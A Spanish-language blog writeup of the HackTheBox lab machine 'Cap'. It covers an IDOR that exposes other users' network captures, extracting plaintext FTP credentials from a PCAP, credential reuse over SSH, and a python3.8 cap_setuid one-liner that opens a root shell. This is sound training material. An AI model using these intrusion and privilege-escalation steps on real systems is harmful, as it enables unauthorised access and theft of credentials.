WriteupFácilLinux28 de noviembre de 202510 min de lectura

HackTheBox: Writeup de Cap

Resolución de la máquina Cap de HackTheBox: IDOR en un panel de capturas de red que expone credenciales FTP en texto plano y escalada de privilegios abusando de cap_setuid sobre el binario de Python.


Cap es una máquina Linux de dificultad fácil de HackTheBox. La cadena de explotación combina un IDOR que expone capturas de red con credenciales en texto plano y una escalada de privilegios abusando de Linux capabilities sobre el binario de Python.


1. Reconocimiento inicial

Como siempre, lo primero es añadir la máquina al /etc/hosts:

echo "10.10.10.245 cap.htb" >> /etc/hosts

Comprobamos conectividad y lanzamos el escaneo con Nmap:

sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn cap.htb -oN scan

Resultado:

PuertoEstadoServicioVersión
21/tcpopenftpvsftpd 3.0.3
22/tcpopensshOpenSSH 8.2p1 Ubuntu
80/tcpopenhttpGunicorn

Tenemos FTP, SSH y una web con Gunicorn. Vamos a ver qué hay en el puerto 80.


2. Enumeración web

La web muestra un panel de seguridad con varias opciones en el menú lateral. Hay una sección llamada Security Snapshot que realiza capturas de red y las guarda como archivos PCAP.

Al pulsar el botón de captura, la aplicación nos redirige a /data/1 y nos permite descargar el PCAP resultante. Observamos que la URL tiene un ID numérico, lo que huele a IDOR.


3. Explotación del IDOR

Probamos a cambiar el ID de la URL a /data/0 para acceder a la captura de otro usuario:

http://cap.htb/data/0

La aplicación nos deja descargar el archivo sin ningún tipo de validación. Lo descargamos y lo abrimos con Wireshark:

wireshark 0.pcap

Filtramos por protocolo FTP:

ftp

Entre los paquetes encontramos una sesión FTP completa con credenciales en texto claro:

USER nathan
PASS Buck3tH4TF0RM3!

4. Acceso inicial por SSH

Probamos reutilización de credenciales en SSH:

ssh nathan@cap.htb

Funciona directamente. Ya estamos dentro como nathan.

cat user.txt

Flag de usuario obtenida.


5. Escalada de privilegios: Linux Capabilities

Enumeramos las capabilities asignadas a los binarios del sistema:

getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

El binario python3.8 tiene la capability cap_setuid, que permite cambiar el UID efectivo del proceso sin necesidad de ser root. Podemos aprovechar esto para ejecutar una shell como root:

python3.8 -c "import os; os.setuid(0); os.system('/bin/bash')"
root@cap:~#

Somos root. Leemos la flag:

cat /root/root.txt

Resumen de técnicas utilizadas

  • Enumeración de servicios con Nmap
  • Explotación de IDOR para acceder a capturas de red ajenas
  • Análisis de tráfico con Wireshark y extracción de credenciales FTP en texto plano
  • Reutilización de contraseñas entre FTP y SSH
  • Escalada de privilegios abusando de Linux Capabilities (cap_setuid en Python)
Tiempo en página 0:00Lectura estimada: 10 min

Posts relacionados

WriteupFácilLinux

HackTheBox: Writeup de Chemistry

Resolución de Chemistry de HackTheBox: RCE mediante CVE-2024-23346 en pymatgen al procesar ficheros CIF maliciosos, cracking de hashes MD5 de SQLite para moverse lateralmente y escalada leyendo la clave SSH de root con path traversal en AioHTTP (CVE-2024-23334).

5 de diciembre de 202511 min
WriteupFácilLinux

HackTheBox: Writeup de TwoMillion

Resolución de TwoMillion de HackTheBox: desofuscación de JavaScript para generar un invite code, broken access control en la API para escalar a admin, command injection en la generación de VPN y escalada con CVE-2023-0386 (OverlayFS).

18 de diciembre de 202514 min
WriteupFácilLinux

HackTheBox: Writeup de Alert

Resolución de Alert de HackTheBox: XSS almacenado en un visor de Markdown para leer archivos internos del servidor, cracking de un hash APR-MD5 y escalada abusando de permisos de escritura de grupo sobre un script ejecutado por cron como root.

15 de enero de 202612 min